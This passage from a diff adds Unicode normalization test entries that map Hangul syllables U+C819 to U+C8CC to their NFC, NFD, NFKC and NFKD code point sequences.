+{ source: [0xC819], NFC: [0xC819], NFD: [0x110C, 0x1165, 0x11C0], NFKC: [0xC819], NFKD: [0x110C, 0x1165, 0x11C0] },
+{ source: [0xC81A], NFC: [0xC81A], NFD: [0x110C, 0x1165, 0x11C1], NFKC: [0xC81A], NFKD: [0x110C, 0x1165, 0x11C1] },
+{ source: [0xC81B], NFC: [0xC81B], NFD: [0x110C, 0x1165, 0x11C2], NFKC: [0xC81B], NFKD: [0x110C, 0x1165, 0x11C2] },
+{ source: [0xC81C], NFC: [0xC81C], NFD: [0x110C, 0x1166], NFKC: [0xC81C], NFKD: [0x110C, 0x1166] },
+{ source: [0xC81D], NFC: [0xC81D], NFD: [0x110C, 0x1166, 0x11A8], NFKC: [0xC81D], NFKD: [0x110C, 0x1166, 0x11A8] },
+{ source: [0xC81E], NFC: [0xC81E], NFD: [0x110C, 0x1166, 0x11A9], NFKC: [0xC81E], NFKD: [0x110C, 0x1166, 0x11A9] },
+{ source: [0xC81F], NFC: [0xC81F], NFD: [0x110C, 0x1166, 0x11AA], NFKC: [0xC81F], NFKD: [0x110C, 0x1166, 0x11AA] },
+{ source: [0xC820], NFC: [0xC820], NFD: [0x110C, 0x1166, 0x11AB], NFKC: [0xC820], NFKD: [0x110C, 0x1166, 0x11AB] },
+{ source: [0xC821], NFC: [0xC821], NFD: [0x110C, 0x1166, 0x11AC], NFKC: [0xC821], NFKD: [0x110C, 0x1166, 0x11AC] },
+{ source: [0xC822], NFC: [0xC822], NFD: [0x110C, 0x1166, 0x11AD], NFKC: [0xC822], NFKD: [0x110C, 0x1166, 0x11AD] },
+{ source: [0xC823], NFC: [0xC823], NFD: [0x110C, 0x1166, 0x11AE], NFKC: [0xC823], NFKD: [0x110C, 0x1166, 0x11AE] },
+{ source: [0xC824], NFC: [0xC824], NFD: [0x110C, 0x1166, 0x11AF], NFKC: [0xC824], NFKD: [0x110C, 0x1166, 0x11AF] },
+{ source: [0xC825], NFC: [0xC825], NFD: [0x110C, 0x1166, 0x11B0], NFKC: [0xC825], NFKD: [0x110C, 0x1166, 0x11B0] },
+{ source: [0xC826], NFC: [0xC826], NFD: [0x110C, 0x1166, 0x11B1], NFKC: [0xC826], NFKD: [0x110C, 0x1166, 0x11B1] },
+{ source: [0xC827], NFC: [0xC827], NFD: [0x110C, 0x1166, 0x11B2], NFKC: [0xC827], NFKD: [0x110C, 0x1166, 0x11B2] },
+{ source: [0xC828], NFC: [0xC828], NFD: [0x110C, 0x1166, 0x11B3], NFKC: [0xC828], NFKD: [0x110C, 0x1166, 0x11B3] },
+{ source: [0xC829], NFC: [0xC829], NFD: [0x110C, 0x1166, 0x11B4], NFKC: [0xC829], NFKD: [0x110C, 0x1166, 0x11B4] },
+{ source: [0xC82A], NFC: [0xC82A], NFD: [0x110C, 0x1166, 0x11B5], NFKC: [0xC82A], NFKD: [0x110C, 0x1166, 0x11B5] },
+{ source: [0xC82B], NFC: [0xC82B], NFD: [0x110C, 0x1166, 0x11B6], NFKC: [0xC82B], NFKD: [0x110C, 0x1166, 0x11B6] },
+{ source: [0xC82C], NFC: [0xC82C], NFD: [0x110C, 0x1166, 0x11B7], NFKC: [0xC82C], NFKD: [0x110C, 0x1166, 0x11B7] },
+{ source: [0xC82D], NFC: [0xC82D], NFD: [0x110C, 0x1166, 0x11B8], NFKC: [0xC82D], NFKD: [0x110C, 0x1166, 0x11B8] },
+{ source: [0xC82E], NFC: [0xC82E], NFD: [0x110C, 0x1166, 0x11B9], NFKC: [0xC82E], NFKD: [0x110C, 0x1166, 0x11B9] },
+{ source: [0xC82F], NFC: [0xC82F], NFD: [0x110C, 0x1166, 0x11BA], NFKC: [0xC82F], NFKD: [0x110C, 0x1166, 0x11BA] },
+{ source: [0xC830], NFC: [0xC830], NFD: [0x110C, 0x1166, 0x11BB], NFKC: [0xC830], NFKD: [0x110C, 0x1166, 0x11BB] },
+{ source: [0xC831], NFC: [0xC831], NFD: [0x110C, 0x1166, 0x11BC], NFKC: [0xC831], NFKD: [0x110C, 0x1166, 0x11BC] },
+{ source: [0xC832], NFC: [0xC832], NFD: [0x110C, 0x1166, 0x11BD], NFKC: [0xC832], NFKD: [0x110C, 0x1166, 0x11BD] },
+{ source: [0xC833], NFC: [0xC833], NFD: [0x110C, 0x1166, 0x11BE], NFKC: [0xC833], NFKD: [0x110C, 0x1166, 0x11BE] },
+{ source: [0xC834], NFC: [0xC834], NFD: [0x110C, 0x1166, 0x11BF], NFKC: [0xC834], NFKD: [0x110C, 0x1166, 0x11BF] },
+{ source: [0xC835], NFC: [0xC835], NFD: [0x110C, 0x1166, 0x11C0], NFKC: [0xC835], NFKD: [0x110C, 0x1166, 0x11C0] },
+{ source: [0xC836], NFC: [0xC836], NFD: [0x110C, 0x1166, 0x11C1], NFKC: [0xC836], NFKD: [0x110C, 0x1166, 0x11C1] },
+{ source: [0xC837], NFC: [0xC837], NFD: [0x110C, 0x1166, 0x11C2], NFKC: [0xC837], NFKD: [0x110C, 0x1166, 0x11C2] },
+{ source: [0xC838], NFC: [0xC838], NFD: [0x110C, 0x1167], NFKC: [0xC838], NFKD: [0x110C, 0x1167] },
+{ source: [0xC839], NFC: [0xC839], NFD: [0x110C, 0x1167, 0x11A8], NFKC: [0xC839], NFKD: [0x110C, 0x1167, 0x11A8] },
+{ source: [0xC83A], NFC: [0xC83A], NFD: [0x110C, 0x1167, 0x11A9], NFKC: [0xC83A], NFKD: [0x110C, 0x1167, 0x11A9] },
+{ source: [0xC83B], NFC: [0xC83B], NFD: [0x110C, 0x1167, 0x11AA], NFKC: [0xC83B], NFKD: [0x110C, 0x1167, 0x11AA] },
+{ source: [0xC83C], NFC: [0xC83C], NFD: [0x110C, 0x1167, 0x11AB], NFKC: [0xC83C], NFKD: [0x110C, 0x1167, 0x11AB] },
+{ source: [0xC83D], NFC: [0xC83D], NFD: [0x110C, 0x1167, 0x11AC], NFKC: [0xC83D], NFKD: [0x110C, 0x1167, 0x11AC] },
+{ source: [0xC83E], NFC: [0xC83E], NFD: [0x110C, 0x1167, 0x11AD], NFKC: [0xC83E], NFKD: [0x110C, 0x1167, 0x11AD] },
+{ source: [0xC83F], NFC: [0xC83F], NFD: [0x110C, 0x1167, 0x11AE], NFKC: [0xC83F], NFKD: [0x110C, 0x1167, 0x11AE] },
+{ source: [0xC840], NFC: [0xC840], NFD: [0x110C, 0x1167, 0x11AF], NFKC: [0xC840], NFKD: [0x110C, 0x1167, 0x11AF] },
+{ source: [0xC841], NFC: [0xC841], NFD: [0x110C, 0x1167, 0x11B0], NFKC: [0xC841], NFKD: [0x110C, 0x1167, 0x11B0] },
+{ source: [0xC842], NFC: [0xC842], NFD: [0x110C, 0x1167, 0x11B1], NFKC: [0xC842], NFKD: [0x110C, 0x1167, 0x11B1] },
+{ source: [0xC843], NFC: [0xC843], NFD: [0x110C, 0x1167, 0x11B2], NFKC: [0xC843], NFKD: [0x110C, 0x1167, 0x11B2] },
+{ source: [0xC844], NFC: [0xC844], NFD: [0x110C, 0x1167, 0x11B3], NFKC: [0xC844], NFKD: [0x110C, 0x1167, 0x11B3] },
+{ source: [0xC845], NFC: [0xC845], NFD: [0x110C, 0x1167, 0x11B4], NFKC: [0xC845], NFKD: [0x110C, 0x1167, 0x11B4] },
+{ source: [0xC846], NFC: [0xC846], NFD: [0x110C, 0x1167, 0x11B5], NFKC: [0xC846], NFKD: [0x110C, 0x1167, 0x11B5] },
+{ source: [0xC847], NFC: [0xC847], NFD: [0x110C, 0x1167, 0x11B6], NFKC: [0xC847], NFKD: [0x110C, 0x1167, 0x11B6] },
+{ source: [0xC848], NFC: [0xC848], NFD: [0x110C, 0x1167, 0x11B7], NFKC: [0xC848], NFKD: [0x110C, 0x1167, 0x11B7] },
+{ source: [0xC849], NFC: [0xC849], NFD: [0x110C, 0x1167, 0x11B8], NFKC: [0xC849], NFKD: [0x110C, 0x1167, 0x11B8] },
+{ source: [0xC84A], NFC: [0xC84A], NFD: [0x110C, 0x1167, 0x11B9], NFKC: [0xC84A], NFKD: [0x110C, 0x1167, 0x11B9] },
+{ source: [0xC84B], NFC: [0xC84B], NFD: [0x110C, 0x1167, 0x11BA], NFKC: [0xC84B], NFKD: [0x110C, 0x1167, 0x11BA] },
+{ source: [0xC84C], NFC: [0xC84C], NFD: [0x110C, 0x1167, 0x11BB], NFKC: [0xC84C], NFKD: [0x110C, 0x1167, 0x11BB] },
+{ source: [0xC84D], NFC: [0xC84D], NFD: [0x110C, 0x1167, 0x11BC], NFKC: [0xC84D], NFKD: [0x110C, 0x1167, 0x11BC] },
+{ source: [0xC84E], NFC: [0xC84E], NFD: [0x110C, 0x1167, 0x11BD], NFKC: [0xC84E], NFKD: [0x110C, 0x1167, 0x11BD] },
+{ source: [0xC84F], NFC: [0xC84F], NFD: [0x110C, 0x1167, 0x11BE], NFKC: [0xC84F], NFKD: [0x110C, 0x1167, 0x11BE] },
+{ source: [0xC850], NFC: [0xC850], NFD: [0x110C, 0x1167, 0x11BF], NFKC: [0xC850], NFKD: [0x110C, 0x1167, 0x11BF] },
+{ source: [0xC851], NFC: [0xC851], NFD: [0x110C, 0x1167, 0x11C0], NFKC: [0xC851], NFKD: [0x110C, 0x1167, 0x11C0] },
+{ source: [0xC852], NFC: [0xC852], NFD: [0x110C, 0x1167, 0x11C1], NFKC: [0xC852], NFKD: [0x110C, 0x1167, 0x11C1] },
+{ source: [0xC853], NFC: [0xC853], NFD: [0x110C, 0x1167, 0x11C2], NFKC: [0xC853], NFKD: [0x110C, 0x1167, 0x11C2] },
+{ source: [0xC854], NFC: [0xC854], NFD: [0x110C, 0x1168], NFKC: [0xC854], NFKD: [0x110C, 0x1168] },
+{ source: [0xC855], NFC: [0xC855], NFD: [0x110C, 0x1168, 0x11A8], NFKC: [0xC855], NFKD: [0x110C, 0x1168, 0x11A8] },
+{ source: [0xC856], NFC: [0xC856], NFD: [0x110C, 0x1168, 0x11A9], NFKC: [0xC856], NFKD: [0x110C, 0x1168, 0x11A9] },
+{ source: [0xC857], NFC: [0xC857], NFD: [0x110C, 0x1168, 0x11AA], NFKC: [0xC857], NFKD: [0x110C, 0x1168, 0x11AA] },
+{ source: [0xC858], NFC: [0xC858], NFD: [0x110C, 0x1168, 0x11AB], NFKC: [0xC858], NFKD: [0x110C, 0x1168, 0x11AB] },
+{ source: [0xC859], NFC: [0xC859], NFD: [0x110C, 0x1168, 0x11AC], NFKC: [0xC859], NFKD: [0x110C, 0x1168, 0x11AC] },
+{ source: [0xC85A], NFC: [0xC85A], NFD: [0x110C, 0x1168, 0x11AD], NFKC: [0xC85A], NFKD: [0x110C, 0x1168, 0x11AD] },
+{ source: [0xC85B], NFC: [0xC85B], NFD: [0x110C, 0x1168, 0x11AE], NFKC: [0xC85B], NFKD: [0x110C, 0x1168, 0x11AE] },
+{ source: [0xC85C], NFC: [0xC85C], NFD: [0x110C, 0x1168, 0x11AF], NFKC: [0xC85C], NFKD: [0x110C, 0x1168, 0x11AF] },
+{ source: [0xC85D], NFC: [0xC85D], NFD: [0x110C, 0x1168, 0x11B0], NFKC: [0xC85D], NFKD: [0x110C, 0x1168, 0x11B0] },
+{ source: [0xC85E], NFC: [0xC85E], NFD: [0x110C, 0x1168, 0x11B1], NFKC: [0xC85E], NFKD: [0x110C, 0x1168, 0x11B1] },
+{ source: [0xC85F], NFC: [0xC85F], NFD: [0x110C, 0x1168, 0x11B2], NFKC: [0xC85F], NFKD: [0x110C, 0x1168, 0x11B2] },
+{ source: [0xC860], NFC: [0xC860], NFD: [0x110C, 0x1168, 0x11B3], NFKC: [0xC860], NFKD: [0x110C, 0x1168, 0x11B3] },
+{ source: [0xC861], NFC: [0xC861], NFD: [0x110C, 0x1168, 0x11B4], NFKC: [0xC861], NFKD: [0x110C, 0x1168, 0x11B4] },
+{ source: [0xC862], NFC: [0xC862], NFD: [0x110C, 0x1168, 0x11B5], NFKC: [0xC862], NFKD: [0x110C, 0x1168, 0x11B5] },
+{ source: [0xC863], NFC: [0xC863], NFD: [0x110C, 0x1168, 0x11B6], NFKC: [0xC863], NFKD: [0x110C, 0x1168, 0x11B6] },
+{ source: [0xC864], NFC: [0xC864], NFD: [0x110C, 0x1168, 0x11B7], NFKC: [0xC864], NFKD: [0x110C, 0x1168, 0x11B7] },
+{ source: [0xC865], NFC: [0xC865], NFD: [0x110C, 0x1168, 0x11B8], NFKC: [0xC865], NFKD: [0x110C, 0x1168, 0x11B8] },
+{ source: [0xC866], NFC: [0xC866], NFD: [0x110C, 0x1168, 0x11B9], NFKC: [0xC866], NFKD: [0x110C, 0x1168, 0x11B9] },
+{ source: [0xC867], NFC: [0xC867], NFD: [0x110C, 0x1168, 0x11BA], NFKC: [0xC867], NFKD: [0x110C, 0x1168, 0x11BA] },
+{ source: [0xC868], NFC: [0xC868], NFD: [0x110C, 0x1168, 0x11BB], NFKC: [0xC868], NFKD: [0x110C, 0x1168, 0x11BB] },
+{ source: [0xC869], NFC: [0xC869], NFD: [0x110C, 0x1168, 0x11BC], NFKC: [0xC869], NFKD: [0x110C, 0x1168, 0x11BC] },
+{ source: [0xC86A], NFC: [0xC86A], NFD: [0x110C, 0x1168, 0x11BD], NFKC: [0xC86A], NFKD: [0x110C, 0x1168, 0x11BD] },
+{ source: [0xC86B], NFC: [0xC86B], NFD: [0x110C, 0x1168, 0x11BE], NFKC: [0xC86B], NFKD: [0x110C, 0x1168, 0x11BE] },
+{ source: [0xC86C], NFC: [0xC86C], NFD: [0x110C, 0x1168, 0x11BF], NFKC: [0xC86C], NFKD: [0x110C, 0x1168, 0x11BF] },
+{ source: [0xC86D], NFC: [0xC86D], NFD: [0x110C, 0x1168, 0x11C0], NFKC: [0xC86D], NFKD: [0x110C, 0x1168, 0x11C0] },
+{ source: [0xC86E], NFC: [0xC86E], NFD: [0x110C, 0x1168, 0x11C1], NFKC: [0xC86E], NFKD: [0x110C, 0x1168, 0x11C1] },
+{ source: [0xC86F], NFC: [0xC86F], NFD: [0x110C, 0x1168, 0x11C2], NFKC: [0xC86F], NFKD: [0x110C, 0x1168, 0x11C2] },
+{ source: [0xC870], NFC: [0xC870], NFD: [0x110C, 0x1169], NFKC: [0xC870], NFKD: [0x110C, 0x1169] },
+{ source: [0xC871], NFC: [0xC871], NFD: [0x110C, 0x1169, 0x11A8], NFKC: [0xC871], NFKD: [0x110C, 0x1169, 0x11A8] },
+{ source: [0xC872], NFC: [0xC872], NFD: [0x110C, 0x1169, 0x11A9], NFKC: [0xC872], NFKD: [0x110C, 0x1169, 0x11A9] },
+{ source: [0xC873], NFC: [0xC873], NFD: [0x110C, 0x1169, 0x11AA], NFKC: [0xC873], NFKD: [0x110C, 0x1169, 0x11AA] },
+{ source: [0xC874], NFC: [0xC874], NFD: [0x110C, 0x1169, 0x11AB], NFKC: [0xC874], NFKD: [0x110C, 0x1169, 0x11AB] },
+{ source: [0xC875], NFC: [0xC875], NFD: [0x110C, 0x1169, 0x11AC], NFKC: [0xC875], NFKD: [0x110C, 0x1169, 0x11AC] },
+{ source: [0xC876], NFC: [0xC876], NFD: [0x110C, 0x1169, 0x11AD], NFKC: [0xC876], NFKD: [0x110C, 0x1169, 0x11AD] },
+{ source: [0xC877], NFC: [0xC877], NFD: [0x110C, 0x1169, 0x11AE], NFKC: [0xC877], NFKD: [0x110C, 0x1169, 0x11AE] },
+{ source: [0xC878], NFC: [0xC878], NFD: [0x110C, 0x1169, 0x11AF], NFKC: [0xC878], NFKD: [0x110C, 0x1169, 0x11AF] },
+{ source: [0xC879], NFC: [0xC879], NFD: [0x110C, 0x1169, 0x11B0], NFKC: [0xC879], NFKD: [0x110C, 0x1169, 0x11B0] },
+{ source: [0xC87A], NFC: [0xC87A], NFD: [0x110C, 0x1169, 0x11B1], NFKC: [0xC87A], NFKD: [0x110C, 0x1169, 0x11B1] },
+{ source: [0xC87B], NFC: [0xC87B], NFD: [0x110C, 0x1169, 0x11B2], NFKC: [0xC87B], NFKD: [0x110C, 0x1169, 0x11B2] },
+{ source: [0xC87C], NFC: [0xC87C], NFD: [0x110C, 0x1169, 0x11B3], NFKC: [0xC87C], NFKD: [0x110C, 0x1169, 0x11B3] },
+{ source: [0xC87D], NFC: [0xC87D], NFD: [0x110C, 0x1169, 0x11B4], NFKC: [0xC87D], NFKD: [0x110C, 0x1169, 0x11B4] },
+{ source: [0xC87E], NFC: [0xC87E], NFD: [0x110C, 0x1169, 0x11B5], NFKC: [0xC87E], NFKD: [0x110C, 0x1169, 0x11B5] },
+{ source: [0xC87F], NFC: [0xC87F], NFD: [0x110C, 0x1169, 0x11B6], NFKC: [0xC87F], NFKD: [0x110C, 0x1169, 0x11B6] },
+{ source: [0xC880], NFC: [0xC880], NFD: [0x110C, 0x1169, 0x11B7], NFKC: [0xC880], NFKD: [0x110C, 0x1169, 0x11B7] },
+{ source: [0xC881], NFC: [0xC881], NFD: [0x110C, 0x1169, 0x11B8], NFKC: [0xC881], NFKD: [0x110C, 0x1169, 0x11B8] },
+{ source: [0xC882], NFC: [0xC882], NFD: [0x110C, 0x1169, 0x11B9], NFKC: [0xC882], NFKD: [0x110C, 0x1169, 0x11B9] },
+{ source: [0xC883], NFC: [0xC883], NFD: [0x110C, 0x1169, 0x11BA], NFKC: [0xC883], NFKD: [0x110C, 0x1169, 0x11BA] },
+{ source: [0xC884], NFC: [0xC884], NFD: [0x110C, 0x1169, 0x11BB], NFKC: [0xC884], NFKD: [0x110C, 0x1169, 0x11BB] },
+{ source: [0xC885], NFC: [0xC885], NFD: [0x110C, 0x1169, 0x11BC], NFKC: [0xC885], NFKD: [0x110C, 0x1169, 0x11BC] },
+{ source: [0xC886], NFC: [0xC886], NFD: [0x110C, 0x1169, 0x11BD], NFKC: [0xC886], NFKD: [0x110C, 0x1169, 0x11BD] },
+{ source: [0xC887], NFC: [0xC887], NFD: [0x110C, 0x1169, 0x11BE], NFKC: [0xC887], NFKD: [0x110C, 0x1169, 0x11BE] },
+{ source: [0xC888], NFC: [0xC888], NFD: [0x110C, 0x1169, 0x11BF], NFKC: [0xC888], NFKD: [0x110C, 0x1169, 0x11BF] },
+{ source: [0xC889], NFC: [0xC889], NFD: [0x110C, 0x1169, 0x11C0], NFKC: [0xC889], NFKD: [0x110C, 0x1169, 0x11C0] },
+{ source: [0xC88A], NFC: [0xC88A], NFD: [0x110C, 0x1169, 0x11C1], NFKC: [0xC88A], NFKD: [0x110C, 0x1169, 0x11C1] },
+{ source: [0xC88B], NFC: [0xC88B], NFD: [0x110C, 0x1169, 0x11C2], NFKC: [0xC88B], NFKD: [0x110C, 0x1169, 0x11C2] },
+{ source: [0xC88C], NFC: [0xC88C], NFD: [0x110C, 0x116A], NFKC: [0xC88C], NFKD: [0x110C, 0x116A] },
+{ source: [0xC88D], NFC: [0xC88D], NFD: [0x110C, 0x116A, 0x11A8], NFKC: [0xC88D], NFKD: [0x110C, 0x116A, 0x11A8] },
+{ source: [0xC88E], NFC: [0xC88E], NFD: [0x110C, 0x116A, 0x11A9], NFKC: [0xC88E], NFKD: [0x110C, 0x116A, 0x11A9] },
+{ source: [0xC88F], NFC: [0xC88F], NFD: [0x110C, 0x116A, 0x11AA], NFKC: [0xC88F], NFKD: [0x110C, 0x116A, 0x11AA] },
+{ source: [0xC890], NFC: [0xC890], NFD: [0x110C, 0x116A, 0x11AB], NFKC: [0xC890], NFKD: [0x110C, 0x116A, 0x11AB] },
+{ source: [0xC891], NFC: [0xC891], NFD: [0x110C, 0x116A, 0x11AC], NFKC: [0xC891], NFKD: [0x110C, 0x116A, 0x11AC] },
+{ source: [0xC892], NFC: [0xC892], NFD: [0x110C, 0x116A, 0x11AD], NFKC: [0xC892], NFKD: [0x110C, 0x116A, 0x11AD] },
+{ source: [0xC893], NFC: [0xC893], NFD: [0x110C, 0x116A, 0x11AE], NFKC: [0xC893], NFKD: [0x110C, 0x116A, 0x11AE] },
+{ source: [0xC894], NFC: [0xC894], NFD: [0x110C, 0x116A, 0x11AF], NFKC: [0xC894], NFKD: [0x110C, 0x116A, 0x11AF] },
+{ source: [0xC895], NFC: [0xC895], NFD: [0x110C, 0x116A, 0x11B0], NFKC: [0xC895], NFKD: [0x110C, 0x116A, 0x11B0] },
+{ source: [0xC896], NFC: [0xC896], NFD: [0x110C, 0x116A, 0x11B1], NFKC: [0xC896], NFKD: [0x110C, 0x116A, 0x11B1] },
+{ source: [0xC897], NFC: [0xC897], NFD: [0x110C, 0x116A, 0x11B2], NFKC: [0xC897], NFKD: [0x110C, 0x116A, 0x11B2] },
+{ source: [0xC898], NFC: [0xC898], NFD: [0x110C, 0x116A, 0x11B3], NFKC: [0xC898], NFKD: [0x110C, 0x116A, 0x11B3] },
+{ source: [0xC899], NFC: [0xC899], NFD: [0x110C, 0x116A, 0x11B4], NFKC: [0xC899], NFKD: [0x110C, 0x116A, 0x11B4] },
+{ source: [0xC89A], NFC: [0xC89A], NFD: [0x110C, 0x116A, 0x11B5], NFKC: [0xC89A], NFKD: [0x110C, 0x116A, 0x11B5] },
+{ source: [0xC89B], NFC: [0xC89B], NFD: [0x110C, 0x116A, 0x11B6], NFKC: [0xC89B], NFKD: [0x110C, 0x116A, 0x11B6] },
+{ source: [0xC89C], NFC: [0xC89C], NFD: [0x110C, 0x116A, 0x11B7], NFKC: [0xC89C], NFKD: [0x110C, 0x116A, 0x11B7] },
+{ source: [0xC89D], NFC: [0xC89D], NFD: [0x110C, 0x116A, 0x11B8], NFKC: [0xC89D], NFKD: [0x110C, 0x116A, 0x11B8] },
+{ source: [0xC89E], NFC: [0xC89E], NFD: [0x110C, 0x116A, 0x11B9], NFKC: [0xC89E], NFKD: [0x110C, 0x116A, 0x11B9] },
+{ source: [0xC89F], NFC: [0xC89F], NFD: [0x110C, 0x116A, 0x11BA], NFKC: [0xC89F], NFKD: [0x110C, 0x116A, 0x11BA] },
+{ source: [0xC8A0], NFC: [0xC8A0], NFD: [0x110C, 0x116A, 0x11BB], NFKC: [0xC8A0], NFKD: [0x110C, 0x116A, 0x11BB] },
+{ source: [0xC8A1], NFC: [0xC8A1], NFD: [0x110C, 0x116A, 0x11BC], NFKC: [0xC8A1], NFKD: [0x110C, 0x116A, 0x11BC] },
+{ source: [0xC8A2], NFC: [0xC8A2], NFD: [0x110C, 0x116A, 0x11BD], NFKC: [0xC8A2], NFKD: [0x110C, 0x116A, 0x11BD] },
+{ source: [0xC8A3], NFC: [0xC8A3], NFD: [0x110C, 0x116A, 0x11BE], NFKC: [0xC8A3], NFKD: [0x110C, 0x116A, 0x11BE] },
+{ source: [0xC8A4], NFC: [0xC8A4], NFD: [0x110C, 0x116A, 0x11BF], NFKC: [0xC8A4], NFKD: [0x110C, 0x116A, 0x11BF] },
+{ source: [0xC8A5], NFC: [0xC8A5], NFD: [0x110C, 0x116A, 0x11C0], NFKC: [0xC8A5], NFKD: [0x110C, 0x116A, 0x11C0] },
+{ source: [0xC8A6], NFC: [0xC8A6], NFD: [0x110C, 0x116A, 0x11C1], NFKC: [0xC8A6], NFKD: [0x110C, 0x116A, 0x11C1] },
+{ source: [0xC8A7], NFC: [0xC8A7], NFD: [0x110C, 0x116A, 0x11C2], NFKC: [0xC8A7], NFKD: [0x110C, 0x116A, 0x11C2] },
+{ source: [0xC8A8], NFC: [0xC8A8], NFD: [0x110C, 0x116B], NFKC: [0xC8A8], NFKD: [0x110C, 0x116B] },
+{ source: [0xC8A9], NFC: [0xC8A9], NFD: [0x110C, 0x116B, 0x11A8], NFKC: [0xC8A9], NFKD: [0x110C, 0x116B, 0x11A8] },
+{ source: [0xC8AA], NFC: [0xC8AA], NFD: [0x110C, 0x116B, 0x11A9], NFKC: [0xC8AA], NFKD: [0x110C, 0x116B, 0x11A9] },
+{ source: [0xC8AB], NFC: [0xC8AB], NFD: [0x110C, 0x116B, 0x11AA], NFKC: [0xC8AB], NFKD: [0x110C, 0x116B, 0x11AA] },
+{ source: [0xC8AC], NFC: [0xC8AC], NFD: [0x110C, 0x116B, 0x11AB], NFKC: [0xC8AC], NFKD: [0x110C, 0x116B, 0x11AB] },
+{ source: [0xC8AD], NFC: [0xC8AD], NFD: [0x110C, 0x116B, 0x11AC], NFKC: [0xC8AD], NFKD: [0x110C, 0x116B, 0x11AC] },
+{ source: [0xC8AE], NFC: [0xC8AE], NFD: [0x110C, 0x116B, 0x11AD], NFKC: [0xC8AE], NFKD: [0x110C, 0x116B, 0x11AD] },
+{ source: [0xC8AF], NFC: [0xC8AF], NFD: [0x110C, 0x116B, 0x11AE], NFKC: [0xC8AF], NFKD: [0x110C, 0x116B, 0x11AE] },
+{ source: [0xC8B0], NFC: [0xC8B0], NFD: [0x110C, 0x116B, 0x11AF], NFKC: [0xC8B0], NFKD: [0x110C, 0x116B, 0x11AF] },
+{ source: [0xC8B1], NFC: [0xC8B1], NFD: [0x110C, 0x116B, 0x11B0], NFKC: [0xC8B1], NFKD: [0x110C, 0x116B, 0x11B0] },
+{ source: [0xC8B2], NFC: [0xC8B2], NFD: [0x110C, 0x116B, 0x11B1], NFKC: [0xC8B2], NFKD: [0x110C, 0x116B, 0x11B1] },
+{ source: [0xC8B3], NFC: [0xC8B3], NFD: [0x110C, 0x116B, 0x11B2], NFKC: [0xC8B3], NFKD: [0x110C, 0x116B, 0x11B2] },
+{ source: [0xC8B4], NFC: [0xC8B4], NFD: [0x110C, 0x116B, 0x11B3], NFKC: [0xC8B4], NFKD: [0x110C, 0x116B, 0x11B3] },
+{ source: [0xC8B5], NFC: [0xC8B5], NFD: [0x110C, 0x116B, 0x11B4], NFKC: [0xC8B5], NFKD: [0x110C, 0x116B, 0x11B4] },
+{ source: [0xC8B6], NFC: [0xC8B6], NFD: [0x110C, 0x116B, 0x11B5], NFKC: [0xC8B6], NFKD: [0x110C, 0x116B, 0x11B5] },
+{ source: [0xC8B7], NFC: [0xC8B7], NFD: [0x110C, 0x116B, 0x11B6], NFKC: [0xC8B7], NFKD: [0x110C, 0x116B, 0x11B6] },
+{ source: [0xC8B8], NFC: [0xC8B8], NFD: [0x110C, 0x116B, 0x11B7], NFKC: [0xC8B8], NFKD: [0x110C, 0x116B, 0x11B7] },
+{ source: [0xC8B9], NFC: [0xC8B9], NFD: [0x110C, 0x116B, 0x11B8], NFKC: [0xC8B9], NFKD: [0x110C, 0x116B, 0x11B8] },
+{ source: [0xC8BA], NFC: [0xC8BA], NFD: [0x110C, 0x116B, 0x11B9], NFKC: [0xC8BA], NFKD: [0x110C, 0x116B, 0x11B9] },
+{ source: [0xC8BB], NFC: [0xC8BB], NFD: [0x110C, 0x116B, 0x11BA], NFKC: [0xC8BB], NFKD: [0x110C, 0x116B, 0x11BA] },
+{ source: [0xC8BC], NFC: [0xC8BC], NFD: [0x110C, 0x116B, 0x11BB], NFKC: [0xC8BC], NFKD: [0x110C, 0x116B, 0x11BB] },
+{ source: [0xC8BD], NFC: [0xC8BD], NFD: [0x110C, 0x116B, 0x11BC], NFKC: [0xC8BD], NFKD: [0x110C, 0x116B, 0x11BC] },
+{ source: [0xC8BE], NFC: [0xC8BE], NFD: [0x110C, 0x116B, 0x11BD], NFKC: [0xC8BE], NFKD: [0x110C, 0x116B, 0x11BD] },
+{ source: [0xC8BF], NFC: [0xC8BF], NFD: [0x110C, 0x116B, 0x11BE], NFKC: [0xC8BF], NFKD: [0x110C, 0x116B, 0x11BE] },
+{ source: [0xC8C0], NFC: [0xC8C0], NFD: [0x110C, 0x116B, 0x11BF], NFKC: [0xC8C0], NFKD: [0x110C, 0x116B, 0x11BF] },
+{ source: [0xC8C1], NFC: [0xC8C1], NFD: [0x110C, 0x116B, 0x11C0], NFKC: [0xC8C1], NFKD: [0x110C, 0x116B, 0x11C0] },
+{ source: [0xC8C2], NFC: [0xC8C2], NFD: [0x110C, 0x116B, 0x11C1], NFKC: [0xC8C2], NFKD: [0x110C, 0x116B, 0x11C1] },
+{ source: [0xC8C3], NFC: [0xC8C3], NFD: [0x110C, 0x116B, 0x11C2], NFKC: [0xC8C3], NFKD: [0x110C, 0x116B, 0x11C2] },
+{ source: [0xC8C4], NFC: [0xC8C4], NFD: [0x110C, 0x116C], NFKC: [0xC8C4], NFKD: [0x110C, 0x116C] },
+{ source: [0xC8C5], NFC: [0xC8C5], NFD: [0x110C, 0x116C, 0x11A8], NFKC: [0xC8C5], NFKD: [0x110C, 0x116C, 0x11A8] },
+{ source: [0xC8C6], NFC: [0xC8C6], NFD: [0x110C, 0x116C, 0x11A9], NFKC: [0xC8C6], NFKD: [0x110C, 0x116C, 0x11A9] },
+{ source: [0xC8C7], NFC: [0xC8C7], NFD: [0x110C, 0x116C, 0x11AA], NFKC: [0xC8C7], NFKD: [0x110C, 0x116C, 0x11AA] },
+{ source: [0xC8C8], NFC: [0xC8C8], NFD: [0x110C, 0x116C, 0x11AB], NFKC: [0xC8C8], NFKD: [0x110C, 0x116C, 0x11AB] },
+{ source: [0xC8C9], NFC: [0xC8C9], NFD: [0x110C, 0x116C, 0x11AC], NFKC: [0xC8C9], NFKD: [0x110C, 0x116C, 0x11AC] },
+{ source: [0xC8CA], NFC: [0xC8CA], NFD: [0x110C, 0x116C, 0x11AD], NFKC: [0xC8CA], NFKD: [0x110C, 0x116C, 0x11AD] },
+{ source: [0xC8CB], NFC: [0xC8CB], NFD: [0x110C, 0x116C, 0x11AE], NFKC: [0xC8CB], NFKD: [0x110C, 0x116C, 0x11AE] },
+{ source: [0xC8CC], NFC: [0xC8CC], NFD: [0x110C, 0x116C, 0x11AF], NFKC: [0xC8CC], NFKD: [0x110C, 0x116C, 0x11AF] },
